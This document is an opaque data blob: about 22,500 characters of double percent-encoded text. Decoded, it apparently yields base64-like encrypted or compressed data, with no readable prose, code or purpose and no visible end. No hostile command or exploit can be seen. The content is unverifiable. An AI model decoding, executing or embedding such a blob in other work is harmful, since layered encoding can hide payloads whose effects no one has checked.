%37%31%25%33%35%25%36%65%25%35%34%25%34%61%25%37%32%25%34%35%25%34%62%25%34%32%25%33%37%25%36%37%25%32%66%25%33%36%25%36%31%25%35%37%25%36%32%25%35%37%25%34%39%25%33%34%25%34%64%25%34%35%25%37%32%25%36%34%25%36%33%25%35%32%25%36%31%25%34%32%25%33%33%25%35%30%25%33%33%25%37%32%25%33%30%25%37%36%25%37%39%25%36%32%25%33%39%25%33%37%25%34%63%25%34%62%25%33%35%25%32%62%25%35%37%25%34%38%25%34%63%25%37%31%25%37%38%25%34%65%25%35%30%25%35%30%25%33%38%25%34%38%25%36%38%25%34%32%25%35%38%25%32%66%25%37%33%25%35%36%25%34%31%25%36%34%25%34%65%25%35%36%25%37%30%25%35%35%25%37%32%25%36%35%25%36%35%25%34%32%25%37%32%25%34%38%25%34%61%25%34%63%25%33%37%25%36%35%25%33%31%25%34%32%25%33%33%25%36%63%25%32%66%25%33%30%25%33%31%25%34%62%25%34%33%25%36%38%25%37%30%25%36%62%25%34%65%25%34%39%25%36%33%25%36%61%25%33%32%25%35%31%25%36%65%25%37%35%25%33%31%25%37%32%25%37%36%25%36%33%25%32%66%25%35%38%25%33%31%25%36%62%25%32%66%25%37%32%25%34%66%25%34%62%25%37%35%25%34%62%25%36%61%25%35%32%25%34%32%25%37%33%25%33%30%25%34%39%25%36%33%25%36%37%25%37%39%25%33%39%25%33%39%25%37%30%25%36%61%25%34%64%25%35%33%25%34%36%25%36%65%25%35%35%25%36%34%25%36%64%25%34%32%25%33%36%25%36%31%25%35%38%25%35%33%25%37%61%25%34%39%25%34%61%25%35%36%25%33%39%25%36%35%25%35%32%25%34%62%25%37%38%25%36%38%25%33%36%25%34%66%25%36%33%25%37%35%25%35%30%25%33%37%25%36%61%25%34%63%25%35%32%25%36%35%25%33%32%25%37%39%25%36%35%25%34%62%25%37%36%25%35%39%25%35%37%25%35%31%25%35%61%25%35%30%25%33%31%25%35%61%25%35%34%25%36%66%25%37%30%25%36%62%25%33%36%25%36%37%25%37%36%25%36%65%25%37%38%25%36%31%25%33%33%25%36%39%25%36%66%25%36%66%25%36%31%25%37%35%25%34%31%25%36%35%25%33%30%25%37%32%25%36%31%25%37%61%25%34%64%25%36%38%25%33%36%25%35%36%25%36%35%25%35%31%25%36%38%25%35%32%25%36%63%25%35%37%25%33%31%25%34%63%25%34%33%25%36%38%25%33%30%25%33%34%25%36%64%25%33%34%25%33%37%25%33%36%25%36%33%25%36%63%25%32%66%25%36%32%25%33%36%25%34%32%25%32%66%25%37%35%25%37%36%25%37%32%25%37%37%25%33%38%25%35%37%25%37%30%25%36%63%25%34%39%25%37%38%25%34%38%25%36%35%25%35%32%25%36%63%25%34%65%25%36%65%25%34%35%25%37%32%25%37%31%25%34%39%25%35%33%25%37%61%25%34%38%25%37%38%25%34%66%25%36%65%25%36%66%25%36%31%25%35%33%25%36%61%25%33%32%25%37%61%25%33%36%25%33%35%25%37%35%25%37%37%25%34%35%25%34%61%25%35%32%25%36%33%25%35%32%25%33%32%25%37%36%25%33%35%25%34%62%25%34%66%25%34%62%25%35%37%25%35%36%25%34%38%25%36%35%25%36%31%25%33%36%25%37%37%25%37%31%25%33%37%25%37%39%25%36%31%25%37%31%25%35%61%25%36%34%25%36%66%25%36%34%25%36%66%25%35%39%25%37%31%25%34%65%25%37%34%25%34%65%25%37%37%25%32%66%25%36%33%25%37%32%25%35%37%25%33%38%25%35%61%25%35%39%25%36%33%25%33%32%25%35%34%25%36%63%25%34%33%25%36%36%25%37%31%25%34%37%25%37%33%25%36%35%25%34%32%25%34%31%25%34%39%25%36%62%25%37%61%25%35%33%25%36%32%25%35%32%25%36%64%25%33%35%25%36%34%25%36%38%25%35%31%25%36%39%25%34%63%25%36%61%25%34%35%25%37%61%25%36%38%25%37%31%25%34%34%25%37%31%25%33%37%25%35%37%25%34%32%25%34%65%25%36%33%25%33%35%25%33%31%25%36%63%25%34%38%25%36%38%25%37%61%25%36%34%25%36%36%25%34%63%25%36%66%25%36%64%25%36%66%25%35%35%25%37%36%25%36%66%25%34%35%25%36%66%25%36%63%25%35%32%25%33%38%25%37%36%25%37%30%25%36%31%25%37%32%25%36%62%25%35%34%25%34%31%25%34%65%25%37%35%25%34%33%25%36%36%25%36%37%25%37%38%25%33%35%25%35%32%25%34%37%25%36%63%25%34%35%25%35%32%25%33%32%25%36%34%25%37%36%25%37%30%25%37%37%25%33%35%25%34%66%25%36%65%25%36%32%25%37%32%25%33%33%25%32%66%25%36%63%25%37%38%25%33%30%25%37%32%25%35%35%25%34%66%25%35%36%25%34%61%25%35%34%25%37%31%25%35%32%25%35%36%25%37%33%25%34%35%25%34%35%25%37%34%25%34%62%25%35%39%25%36%33%25%34%62%25%36%31%25%35%36%25%33%30%25%34%61%25%35%34%25%35%36%25%33%36%25%35%34%25%36%35%25%33%32%25%37%39%25%35%37%25%36%62%25%34%34%25%36%33%25%32%66%25%32%66%25%33%32%25%37%35%25%35%38%25%33%35%25%33%32%25%35%31%25%34%62%25%34%63%25%36%31%25%33%34%25%34%65%25%37%37%25%37%30%25%35%37%25%35%30%25%37%37%25%37%33%25%36%31%25%33%30%25%34%31%25%36%62%25%34%36%25%35%38%25%36%33%25%34%39%25%34%31%25%33%33%25%34%35%25%34%31%25%37%61%25%33%33%25%34%65%25%36%61%25%34%32%25%35%38%25%36%38%25%34%36%25%36%39%25%34%64%25%35%37%25%37%39%25%36%37%25%36%61%25%32%62%25%36%61%25%36%36%25%36%32%25%34%33%25%35%61%25%36%66%25%34%65%25%33%33%25%35%39%25%34%38%25%35%33%25%33%30%25%34%35%25%36%37%25%36%61%25%35%34%25%33%36%25%34%65%25%34%61%25%35%33%25%37%31%25%35%30%25%37%35%25%33%33%25%36%39%25%34%34%25%33%30%25%34%33%25%36%63%25%34%61%25%35%30%25%34%38%25%36%33%25%33%30%25%35%33%25%36%62%25%36%65%25%36%35%25%36%61%25%36%65%25%35%34%25%36%39%25%34%31%25%36%65%25%33%30%25%37%32%25%36%62%25%37%61%25%37%34%25%32%66%25%34%37%25%33%32%25%37%38%25%35%61%25%33%30%25%34%32%25%37%39%25%33%31%25%34%64%25%34%64%25%33%36%25%34%31%25%37%37%25%36%35%25%35%33%25%34%38%25%36%65%25%37%32%25%36%34%25%35%32%25%36%62%25%35%39%25%36%34%25%34%63%25%36%34%25%36%35%25%37%61%25%35%38%25%35%34%25%34%31%25%33%30%25%35%38%25%37%30%25%35%34%25%36%64%25%35%30%25%36%38%25%37%33%25%37%33%25%36%66%25%37%32%25%35%36%25%34%34%25%36%62%25%34%34%25%37%35%25%35%31%25%33%31%25%37%32%25%35%38%25%36%65%25%37%35%25%37%38%25%34%32%25%35%33%25%35%61%25%35%32%25%34%62%25%36%63%25%34%37%25%37%32%25%36%63%25%33%32%25%32%62%25%34%66%25%34%32%25%37%37%25%36%35%25%35%31%25%34%64%25%34%33%25%37%30%25%34%33%25%37%37%25%35%37%25%33%38%25%36%36%25%34%65%25%33%36%25%37%34%25%34%61%25%34%33%25%36%63%25%33%32%25%36%64%25%37%33%25%37%37%25%33%31%25%34%36%25%37%61%25%33%36%25%33%30%25%35%30%25%36%34%25%33%30%25%35%35%25%35%39%25%37%61%25%33%38%25%37%33%25%37%32%25%34%34%25%36%32%25%34%62%25%36%64%25%34%66%25%35%38%25%34%35%25%33%34%25%34%64%25%35%30%25%36%66%25%34%32%25%34%31%25%33%32%25%37%32%25%34%64%25%34%65%25%35%38%25%36%31%25%34%38%25%36%37%25%36%37%25%35%35%25%34%38%25%36%62%25%34%36%25%34%34%25%37%31%25%34%62%25%37%33%25%37%36%25%34%39%25%37%34%25%36%36%25%34%31%25%35%36%25%34%37%25%34%31%25%37%37%25%36%33%25%37%38%25%34%64%25%34%31%25%37%37%25%33%34%25%34%64%25%34%35%25%34%64%25%33%31%25%33%37%25%37%31%25%37%31%25%34%64%25%34%33%25%35%38%25%36%65%25%34%38%25%36%37%25%34%37%25%33%35%25%34%35%25%36%38%25%33%37%25%35%39%25%32%62%25%37%35%25%33%30%25%34%31%25%37%39%25%36%34%25%33%38%25%33%37%25%35%36%25%36%63%25%36%37%25%33%37%25%37%39%25%33%33%25%33%32%25%37%37%25%32%62%25%35%37%25%35%34%25%33%39%25%36%34%25%35%30%25%33%35%25%37%34%25%37%32%25%33%30%25%36%61%25%37%31%25%36%37%25%37%32%25%36%63%25%37%35%25%37%35%25%33%34%25%35%35%25%37%30%25%36%32%25%35%37%25%36%37%25%34%64%25%33%35%25%36%39%25%36%32%25%37%39%25%36%31%25%36%38%25%34%61%25%36%33%25%35%38%25%34%38%25%34%66%25%34%32%25%34%35%25%35%34%25%36%35%25%37%61%25%33%37%25%36%62%25%35%30%25%36%36%25%35%39%25%34%32%25%34%62%25%34%66%25%32%62%25%35%35%25%37%35%25%34%36%25%37%33%25%35%39%25%35%32%25%35%61%25%36%31%25%35%61%25%34%31%25%35%35%25%36%36%25%37%61%25%33%30%25%35%36%25%36%63%25%36%32%25%37%35%25%33%35%25%34%36%25%35%35%25%35%61%25%35%61%25%36%35%25%34%64%25%37%39%25%35%61%25%36%36%25%36%66%25%35%31%25%35%39%25%36%62%25%34%39%25%37%34%25%35%33%25%34%38%25%33%38%25%34%39%25%36%62%25%37%38%25%32%66%25%37%32%25%33%31%25%35%37%25%35%38%25%36%38%25%37%61%25%36%63%25%36%65%25%34%31%25%32%62%25%35%34%25%34%31%25%33%30%25%37%61%25%35%35%25%37%35%25%35%38%25%34%37%25%37%32%25%36%35%25%34%31%25%35%39%25%33%30%25%37%37%25%37%37%25%37%33%25%36%63%25%35%61%25%35%30%25%35%35%25%37%30%25%36%36%25%34%65%25%33%35%25%33%38%25%33%31%25%33%32%25%35%33%25%35%31%25%36%62%25%34%33%25%33%35%25%37%33%25%36%35%25%35%32%25%35%36%25%37%32%25%37%37%25%35%32%25%34%38%25%37%61%25%36%66%25%34%34%25%33%39%25%34%37%25%33%32%25%33%32%25%32%62%25%32%62%25%35%31%25%36%38%25%36%63%25%37%30%25%37%34%25%34%61%25%34%37%25%36%36%25%36%63%25%36%35%25%35%38%25%35%36%25%36%64%25%34%38%25%34%32%25%33%37%25%37%38%25%34%64%25%37%39%25%36%33%25%37%32%25%35%34%25%35%36%25%35%34%25%36%31%25%36%38%25%35%30%25%36%34%25%34%66%25%34%63%25%34%34%25%37%39%25%36%64%25%32%62%25%35%33%25%33%34%25%33%32%25%35%39%25%34%37%25%36%65%25%34%35%25%33%32%25%34%37%25%34%38%25%35%33%25%34%36%25%34%38%25%34%34%25%37%33%25%37%30%25%35%33%25%34%31%25%35%39%25%35%36%25%33%35%25%34%31%25%33%36%25%34%34%25%33%30%25%33%35%25%34%64%25%36%34%25%33%35%25%33%37%25%36%36%25%34%34%25%33%30%25%35%36%25%37%32%25%36%31%25%37%31%25%33%32%25%35%31%25%33%36%25%36%64%25%34%33%25%36%34%25%37%34%25%36%31%25%36%32%25%35%31%25%37%30%25%36%36%25%34%39%25%36%36%25%33%35%25%32%62%25%36%34%25%36%36%25%35%37%25%34%63%25%33%38%25%34%38%25%36%63%25%35%34%25%34%35%25%36%63%25%37%36%25%35%39%25%35%37%25%34%32%25%36%36%25%33%32%25%35%31%25%36%64%25%34%33%25%34%37%25%34%39%25%35%39%25%34%32%25%36%64%25%34%34%25%35%39%25%37%37%25%34%66%25%34%64%25%33%39%25%37%34%25%34%61%25%35%61%25%35%30%25%34%61%25%36%65%25%35%61%25%37%37%25%33%37%25%35%38%25%36%62%25%37%39%25%34%65%25%33%33%25%34%64%25%35%61%25%35%33%25%32%62%25%36%38%25%34%38%25%34%62%25%37%33%25%36%35%25%34%35%25%36%35%25%37%31%25%35%36%25%37%38%25%34%62%25%34%38%25%37%37%25%35%61%25%36%37%25%36%38%25%34%36%25%36%63%25%37%35%25%36%38%25%36%61%25%36%61%25%34%63%25%37%37%25%33%37%25%35%36%25%34%33%25%35%33%25%34%62%25%33%30%25%35%38%25%34%39%25%36%33%25%35%32%25%34%39%25%37%61%25%37%34%25%35%39%25%35%33%25%36%37%25%35%35%25%36%62%25%36%62%25%36%66%25%37%61%25%37%34%25%35%31%25%33%36%25%35%33%25%35%37%25%37%39%25%37%34%25%37%61%25%34%61%25%34%31%25%35%38%25%35%61%25%35%39%25%35%30%25%36%62%25%33%36%25%34%61%25%33%31%25%33%35%25%36%62%25%35%34%25%36%31%25%36%64%25%34%31%25%33%30%25%34%62%25%35%61%25%34%39%25%37%30%25%33%39%25%35%33%25%37%61%25%36%31%25%33%33%25%37%35%25%34%65%25%34%61%25%36%63%25%37%36%25%36%62%25%34%37%25%33%39%25%36%66%25%35%61%25%35%34%25%36%37%25%34%31%25%35%33%25%37%31%25%36%34%25%33%30%25%33%37%25%33%38%25%33%36%25%36%62%25%34%62%25%37%30%25%33%34%25%37%30%25%37%38%25%34%39%25%36%66%25%36%33%25%36%64%25%36%62%25%36%36%25%34%65%25%34%37%25%36%31%25%36%35%25%35%30%25%33%39%25%37%37%25%37%31%25%33%37%25%33%30%25%37%35%25%37%35%25%36%35%25%34%33%25%35%35%25%33%30%25%36%64%25%37%30%25%35%37%25%34%61%25%34%61%25%37%39%25%35%32%25%36%37%25%35%33%25%34%65%25%37%30%25%35%37%25%34%35%25%37%39%25%35%34%25%33%39%25%36%33%25%35%37%25%35%37%25%34%32%25%36%38%25%34%35%25%36%39%25%34%63%25%35%32%25%34%35%25%33%35%25%36%39%25%35%35%25%34%38%25%33%30%25%34%35%25%37%33%25%36%61%25%37%31%25%35%37%25%35%35%25%36%35%25%34%66%25%34%36%25%36%36%25%33%35%25%35%31%25%34%34%25%37%39%25%37%61%25%37%37%25%34%35%25%37%61%25%33%35%25%34%39%25%34%35%25%34%37%25%37%34%25%37%30%25%36%61%25%33%34%25%32%62%25%34%37%25%36%33%25%36%38%25%37%35%25%36%33%25%35%32%25%36%36%25%34%33%25%37%36%25%36%66%25%34%37%25%35%38%25%37%34%25%36%31%25%36%64%25%36%33%25%37%35%25%36%65%25%35%61%25%33%30%25%35%31%25%33%35%25%37%37%25%37%38%25%34%62%25%36%33%25%37%37%25%35%31%25%34%61%25%34%61%25%33%39%25%37%33%25%35%33%25%34%36%25%34%38%25%36%34%25%35%37%25%33%37%25%35%33%25%32%62%25%37%32%25%37%35%25%33%34%25%36%65%25%35%37%25%37%35%25%35%32%25%33%34%25%34%34%25%32%66%25%33%36%25%37%31%25%32%66%25%35%34%25%34%37%25%37%32%25%37%31%25%37%61%25%37%35%25%33%35%25%34%32%25%36%34%25%34%66%25%37%34%25%34%33%25%33%31%25%32%66%25%34%35%25%33%31%25%33%39%25%36%63%25%36%65%25%37%36%25%35%32%25%33%31%25%37%31%25%36%35%25%34%62%25%32%66%25%37%35%25%36%32%25%32%62%25%37%32%25%36%66%25%34%33%25%33%30%25%33%33%25%35%34%25%36%62%25%35%31%25%35%61%25%36%62%25%36%64%25%37%36%25%36%64%25%36%39%25%35%31%25%36%33%25%37%61%25%37%38%25%34%63%25%34%66%25%36%65%25%37%37%25%36%31%25%34%34%25%36%63%25%37%38%25%33%34%25%36%34%25%36%38%25%37%61%25%35%36%25%35%34%25%34%35%25%37%36%25%34%36%25%35%37%25%33%36%25%33%31%25%36%36%25%35%35%25%34%63%25%34%61%25%32%62%25%33%38%25%34%65%25%36%66%25%34%62%25%34%35%25%33%31%25%35%36%25%34%37%25%36%39%25%33%35%25%34%32%25%36%38%25%36%31%25%34%61%25%32%62%25%36%37%25%37%34%25%36%31%25%35%33%25%35%39%25%35%37%25%33%33%25%36%34%25%34%64%25%37%61%25%33%37%25%34%33%25%33%30%25%33%37%25%34%63%25%35%36%25%36%62%25%37%61%25%33%38%25%36%34%25%35%37%25%36%63%25%33%38%25%34%65%25%33%38%25%33%34%25%33%38%25%34%35%25%37%32%25%35%32%25%37%33%25%36%39%25%33%30%25%35%34%25%34%31%25%36%63%25%34%32%25%35%34%25%34%63%25%34%39%25%37%35%25%37%34%25%35%39%25%34%32%25%36%66%25%34%33%25%36%37%25%36%65%25%37%30%25%36%65%25%37%34%25%35%39%25%35%36%25%33%32%25%34%64%25%33%30%25%35%39%25%35%37%25%35%31%25%36%61%25%34%32%25%35%31%25%33%39%25%35%31%25%37%30%25%32%66%25%34%64%25%36%62%25%34%65%25%36%37%25%35%39%25%35%37%25%37%61%25%33%35%25%35%33%25%35%30%25%33%35%25%34%31%25%36%62%25%36%64%25%35%32%25%36%66%25%35%32%25%35%35%25%37%31%25%36%33%25%33%39%25%37%38%25%34%65%25%32%62%25%33%36%25%35%37%25%36%34%25%34%38%25%35%30%25%33%37%25%33%34%25%33%30%25%35%33%25%33%34%25%33%34%25%33%30%25%32%66%25%34%31%25%36%33%25%36%65%25%36%64%25%37%30%25%36%66%25%35%35%25%34%33%25%33%36%25%34%34%25%34%37%25%37%35%25%33%35%25%34%65%25%36%61%25%34%39%25%34%35%25%37%39%25%34%32%25%33%32%25%34%36%25%32%62%25%37%35%25%34%38%25%33%31%25%33%32%25%32%66%25%37%33%25%35%36%25%34%32%25%37%35%25%36%37%25%37%34%25%34%36%25%34%65%25%37%33%25%37%37%25%34%31%25%36%34%25%35%30%25%37%37%25%35%38%25%37%36%25%36%36%25%34%32%25%32%62%25%33%30%25%34%38%25%34%33%25%33%38%25%34%66%25%36%39%25%37%34%25%34%34%25%34%31%25%37%34%25%36%32%25%37%61%25%37%61%25%37%35%25%33%31%25%33%30%25%35%36%25%37%36%25%36%63%25%37%34%25%34%32%25%35%36%25%36%62%25%36%66%25%35%31%25%35%35%25%35%33%25%37%37%25%36%35%25%36%31%25%33%36%25%37%32%25%35%33%25%34%36%25%37%39%25%33%33%25%36%31%25%33%35%25%37%34%25%33%31%25%36%64%25%34%36%25%34%36%25%36%64%25%34%34%25%35%38%25%34%34%25%34%61%25%35%39%25%37%34%25%35%39%25%36%32%25%35%38%25%36%31%25%36%66%25%36%33%25%33%35%25%35%35%25%33%32%25%33%38%25%36%64%25%36%31%25%33%39%25%35%38%25%35%39%25%35%35%25%36%62%25%32%66%25%34%37%25%33%33%25%37%33%25%36%36%25%33%35%25%35%35%25%36%38%25%33%34%25%33%32%25%36%65%25%37%37%25%33%34%25%34%64%25%34%35%25%36%65%25%35%36%25%33%31%25%36%35%25%36%33%25%33%36%25%37%32%25%33%32%25%35%35%25%35%36%25%37%33%25%34%37%25%35%35%25%37%38%25%33%36%25%33%33%25%34%34%25%35%37%25%36%39%25%33%38%25%34%34%25%33%38%25%35%34%25%33%32%25%37%38%25%34%65%25%35%32%25%34%39%25%33%34%25%33%32%25%37%32%25%32%62%25%37%36%25%35%35%25%35%34%25%36%61%25%36%64%25%34%62%25%36%62%25%36%31%25%34%33%25%34%34%25%35%38%25%36%34%25%36%64%25%35%35%25%36%32%25%34%66%25%34%39%25%37%32%25%33%32%25%37%61%25%36%62%25%34%65%25%33%35%25%37%30%25%33%30%25%33%38%25%36%61%25%36%64%25%36%34%25%34%63%25%34%62%25%34%33%25%37%31%25%36%31%25%35%36%25%37%37%25%34%33%25%37%35%25%36%62%25%36%33%25%34%62%25%35%39%25%33%33%25%35%34%25%34%31%25%34%64%25%34%32%25%33%36%25%33%34%25%36%64%25%37%32%25%34%35%25%34%64%25%35%34%25%35%38%25%37%32%25%36%36%25%36%64%25%36%64%25%37%37%25%36%35%25%34%35%25%37%31%25%34%63%25%34%64%25%36%63%25%34%62%25%33%30%25%35%30%25%33%36%25%33%30%25%36%63%25%35%35%25%34%32%25%33%35%25%33%33%25%35%31%25%33%31%25%37%39%25%36%62%25%36%36%25%36%65%25%33%36%25%32%66%25%33%33%25%37%31%25%35%34%25%35%30%25%35%61%25%36%61%25%36%64%25%34%32%25%35%31%25%33%33%25%34%39%25%32%66%25%37%38%25%34%65%25%37%34%25%37%32%25%35%33%25%33%33%25%36%65%25%35%33%25%37%35%25%36%31%25%34%37%25%33%37%25%34%65%25%35%31%25%33%32%25%37%34%25%32%66%25%36%35%25%37%30%25%37%34%25%37%33%25%36%63%25%37%30%25%36%37%25%36%31%25%34%65%25%33%37%25%34%63%25%37%32%25%32%62%25%36%32%25%36%65%25%37%35%25%36%64%25%36%34%25%35%39%25%33%30%25%37%39%25%33%32%25%34%31%25%37%37%25%36%62%25%37%31%25%37%38%25%35%31%25%34%62%25%36%32%25%35%30%25%36%33%25%34%34%25%35%32%25%34%61%25%35%35%25%34%32%25%37%30%25%37%61%25%35%32%25%36%63%25%35%39%25%33%30%25%34%39%25%36%39%25%35%39%25%36%31%25%34%38%25%37%31%25%36%65%25%34%66%25%34%64%25%34%33%25%34%38%25%33%31%25%37%61%25%35%32%25%36%66%25%36%65%25%33%34%25%33%32%25%33%39%25%36%61%25%33%31%25%37%32%25%33%35%25%37%37%25%35%31%25%33%35%25%37%30%25%37%37%25%33%39%25%36%31%25%34%39%25%35%39%25%35%32%25%35%30%25%35%31%25%37%30%25%37%38%25%36%31%25%36%63%25%34%39%25%33%32%25%34%35%25%34%31%25%35%30%25%36%66%25%35%31%25%33%35%25%37%36%25%35%30%25%33%39%25%34%31%25%35%61%25%33%30%25%35%36%25%34%34%25%37%38%25%37%39%25%34%64%25%36%64%25%35%38%25%37%35%25%36%65%25%34%36%25%37%34%25%34%36%25%36%38%25%34%66%25%33%32%25%35%32%25%36%35%25%34%61%25%33%32%25%36%39%25%37%31%25%34%39%25%37%32%25%36%63%25%36%31%25%34%35%25%35%36%25%35%32%25%37%35%25%35%61%25%36%64%25%32%62%25%34%37%25%35%31%25%34%33%25%34%62%25%35%37%25%34%66%25%35%35%25%36%66%25%35%35%25%36%35%25%35%38%25%34%62%25%35%34%25%37%33%25%33%39%25%37%36%25%35%35%25%33%35%25%37%33%25%33%35%25%34%35%25%32%66%25%33%37%25%34%62%25%36%66%25%33%31%25%34%38%25%33%34%25%33%36%25%33%36%25%35%39%25%37%39%25%34%31%25%37%33%25%37%31%25%34%37%25%37%35%25%34%62%25%36%37%25%32%62%25%35%36%25%35%35%25%36%35%25%35%32%25%32%66%25%34%62%25%33%36%25%33%31%25%36%64%25%37%39%25%36%64%25%34%38%25%36%64%25%34%34%25%33%38%25%35%36%25%36%31%25%34%39%25%32%62%25%37%37%25%37%61%25%34%39%25%34%31%25%34%61%25%33%36%25%35%61%25%33%38%25%34%39%25%36%64%25%37%38%25%36%35%25%34%64%25%37%39%25%36%39%25%36%33%25%36%34%25%35%39%25%36%35%25%37%35%25%35%37%25%35%36%25%36%64%25%35%61%25%36%63%25%34%34%25%37%35%25%34%34%25%33%30%25%33%38%25%36%61%25%35%39%25%37%33%25%34%62%25%37%33%25%37%32%25%32%66%25%36%63%25%34%63%25%32%62%25%35%36%25%33%35%25%37%30%25%36%36%25%36%35%25%36%31%25%36%61%25%36%36%25%36%64%25%34%37%25%36%64%25%33%30%25%36%33%25%36%61%25%34%38%25%34%34%25%35%31%25%34%32%25%33%30%25%33%32%25%36%38%25%36%37%25%35%36%25%35%61%25%34%63%25%36%33%25%37%33%25%33%31%25%37%61%25%35%39%25%35%39%25%36%63%25%33%37%25%33%32%25%34%64%25%33%31%25%34%33%25%34%38%25%33%33%25%35%30%25%34%31%25%36%62%25%37%37%25%34%39%25%37%39%25%34%66%25%34%36%25%36%63%25%37%35%25%37%36%25%34%38%25%37%34%25%35%36%25%36%38%25%34%66%25%37%35%25%34%65%25%36%34%25%34%66%25%36%34%25%34%39%25%37%37%25%35%34%25%34%63%25%35%32%25%35%33%25%35%38%25%33%39%25%34%61%25%37%35%25%36%32%25%36%65%25%36%33%25%36%35%25%34%34%25%36%38%25%33%34%25%33%34%25%36%39%25%34%63%25%36%36%25%37%38%25%36%31%25%33%39%25%37%35%25%33%32%25%35%34%25%36%64%25%33%33%25%34%62%25%36%65%25%34%39%25%34%65%25%33%37%25%32%66%25%35%34%25%36%64%25%37%39%25%33%30%25%37%35%25%36%64%25%36%36%25%33%30%25%37%38%25%37%39%25%37%37%25%34%32%25%37%33%25%35%30%25%35%61%25%35%32%25%34%63%25%33%30%25%35%61%25%36%62%25%34%65%25%36%65%25%36%36%25%37%61%25%35%30%25%37%32%25%33%33%25%37%32%25%34%62%25%34%34%25%35%38%25%37%37%25%36%34%25%35%39%25%34%64%25%37%36%25%37%61%25%36%31%25%37%35%25%34%63%25%34%66%25%35%31%25%33%34%25%37%31%25%35%30%25%37%36%25%36%31%25%37%34%25%37%35%25%36%38%25%35%33%25%35%39%25%34%35%25%37%35%25%34%66%25%34%39%25%34%31%25%33%31%25%37%38%25%34%63%25%36%37%25%36%39%25%36%37%25%34%62%25%33%38%25%35%31%25%36%33%25%32%66%25%36%64%25%34%38%25%36%36%25%36%63%25%36%39%25%34%31%25%34%64%25%37%34%25%32%62%25%36%39%25%36%65%25%35%61%25%33%34%25%35%38%25%33%34%25%35%31%25%36%38%25%36%35%25%37%32%25%37%31%25%35%33%25%34%65%25%36%37%25%36%63%25%35%31%25%34%37%25%35%32%25%34%66%25%36%31%25%36%62%25%37%32%25%34%65%25%34%35%25%37%37%25%36%31%25%34%32%25%37%31%25%36%34%25%36%63%25%37%32%25%36%66%25%33%32%25%36%61%25%36%34%25%37%61%25%33%39%25%36%35%25%34%39%25%36%32%25%37%33%25%35%61%25%37%38%25%34%37%25%32%66%25%35%30%25%32%62%25%37%37%25%33%35%25%37%35%25%34%31%25%37%32%25%35%39%25%37%35%25%36%33%25%36%33%25%36%37%25%33%31%25%36%37%25%34%35%25%34%33%25%33%33%25%33%30%25%37%33%25%33%39%25%34%35%25%32%66%25%37%32%25%37%32%25%36%66%25%33%30%25%36%33%25%35%61%25%36%38%25%36%62%25%36%38%25%35%36%25%36%32%25%37%39%25%34%34%25%34%39%25%33%35%25%33%38%25%33%32%25%32%66%25%36%62%25%34%37%25%32%62%25%37%61%25%34%63%25%33%33%25%36%32%25%37%39%25%37%32%25%35%31%25%34%31%25%34%62%25%36%39%25%37%36%25%34%63%25%34%31%25%36%63%25%34%36%25%34%64%25%33%35%25%32%62%25%35%39%25%36%39%25%33%39%25%37%38%25%35%30%25%33%30%25%35%38%25%34%32%25%33%37%25%35%32%25%36%35%25%34%34%25%34%31%25%35%38%25%37%61%25%36%33%25%36%63%25%35%31%25%34%34%25%36%36%25%34%66%25%34%37%25%36%34%25%32%62%25%37%33%25%34%61%25%36%63%25%36%64%25%37%39%25%36%34%25%37%61%25%37%30%25%36%37%25%37%34%25%37%34%25%35%32%25%34%33%25%37%31%25%35%39%25%33%36%25%34%32%25%35%61%25%32%66%25%36%65%25%37%61%25%34%31%25%34%64%25%33%37%25%35%34%25%33%38%25%35%30%25%37%31%25%35%34%25%37%38%25%35%35%25%34%32%25%35%61%25%34%33%25%36%61%25%37%33%25%33%36%25%37%32%25%33%38%25%34%66%25%34%36%25%36%63%25%35%36%25%37%31%25%36%35%25%33%39%25%37%34%25%35%30%25%37%30%25%37%37%25%34%39%25%34%61%25%37%34%25%37%33%25%36%62%25%36%63%25%34%38%25%37%37%25%32%62%25%32%62%25%34%64%25%36%61%25%35%36%25%36%64%25%37%34%25%37%30%25%34%64%25%33%39%25%34%32%25%33%33%25%34%34%25%36%64%25%36%61%25%36%65%25%36%64%25%36%66%25%35%33%25%35%34%25%36%62%25%36%63%25%34%65%25%37%30%25%35%37%25%36%39%25%37%34%25%36%33%25%37%35%25%35%38%25%34%38%25%37%34%25%33%36%25%37%31%25%35%37%25%33%37%25%34%64%25%36%36%25%34%36%25%36%65%25%33%31%25%37%32%25%35%33%25%34%66%25%33%39%25%36%33%25%33%37%25%34%37%25%36%38%25%34%37%25%36%39%25%37%34%25%33%34%25%37%34%25%35%35%25%36%61%25%37%33%25%37%31%25%37%32%25%37%34%25%34%37%25%34%37%25%36%31%25%33%39%25%37%32%25%32%62%25%35%35%25%37%61%25%33%31%25%33%36%25%34%35%25%33%36%25%37%34%25%33%37%25%33%30%25%35%61%25%36%31%25%34%39%25%33%36%25%37%38%25%33%34%25%36%65%25%35%61%25%34%65%25%37%33%25%33%37%25%36%35%25%33%36%25%37%32%25%34%62%25%34%35%25%34%39%25%37%39%25%34%61%25%33%31%25%36%38%25%33%31%25%37%31%25%35%31%25%35%37%25%36%36%25%37%36%25%37%31%25%36%36%25%34%31%25%37%37%25%34%66%25%34%61%25%33%35%25%36%32%25%34%32%25%37%36%25%33%32%25%36%37%25%37%37%25%37%30%25%36%66%25%35%36%25%37%39%25%35%37%25%35%32%25%34%39%25%36%34%25%36%37%25%35%38%25%32%62%25%36%36%25%34%61%25%37%33%25%33%31%25%33%31%25%34%64%25%36%31%25%33%34%25%32%62%25%33%39%25%36%63%25%34%39%25%36%38%25%36%33%25%37%61%25%36%64%25%33%32%25%36%61%25%36%39%25%33%37%25%35%36%25%37%33%25%37%35%25%36%61%25%36%61%25%36%66%25%33%30%25%36%34%25%37%31%25%33%32%25%34%34%25%34%63%25%34%37%25%34%37%25%37%34%25%33%36%25%34%32%25%34%31%25%34%36%25%36%39%25%37%35%25%34%34%25%36%34%25%37%36%25%33%38%25%36%62%25%36%37%25%33%38%25%36%62%25%37%37%25%34%33%25%37%36%25%36%66%25%33%36%25%34%37%25%37%39%25%35%37%25%35%36%25%35%32%25%36%38%25%37%32%25%36%34%25%37%30%25%34%64%25%35%36%25%36%37%25%37%34%25%34%61%25%37%34%25%34%37%25%35%33%25%36%32%25%35%32%25%35%35%25%36%39%25%36%65%25%33%38%25%37%38%25%33%34%25%35%32%25%37%35%25%37%39%25%35%33%25%34%62%25%34%34%25%34%66%25%34%31%25%34%36%25%33%32%25%32%66%25%34%64%25%34%61%25%36%64%25%32%66%25%37%35%25%34%64%25%34%31%25%34%64%25%37%34%25%35%35%25%34%32%25%34%35%25%37%33%25%34%39%25%34%35%25%37%36%25%34%64%25%36%35%25%34%31%25%37%32%25%35%35%25%34%37%25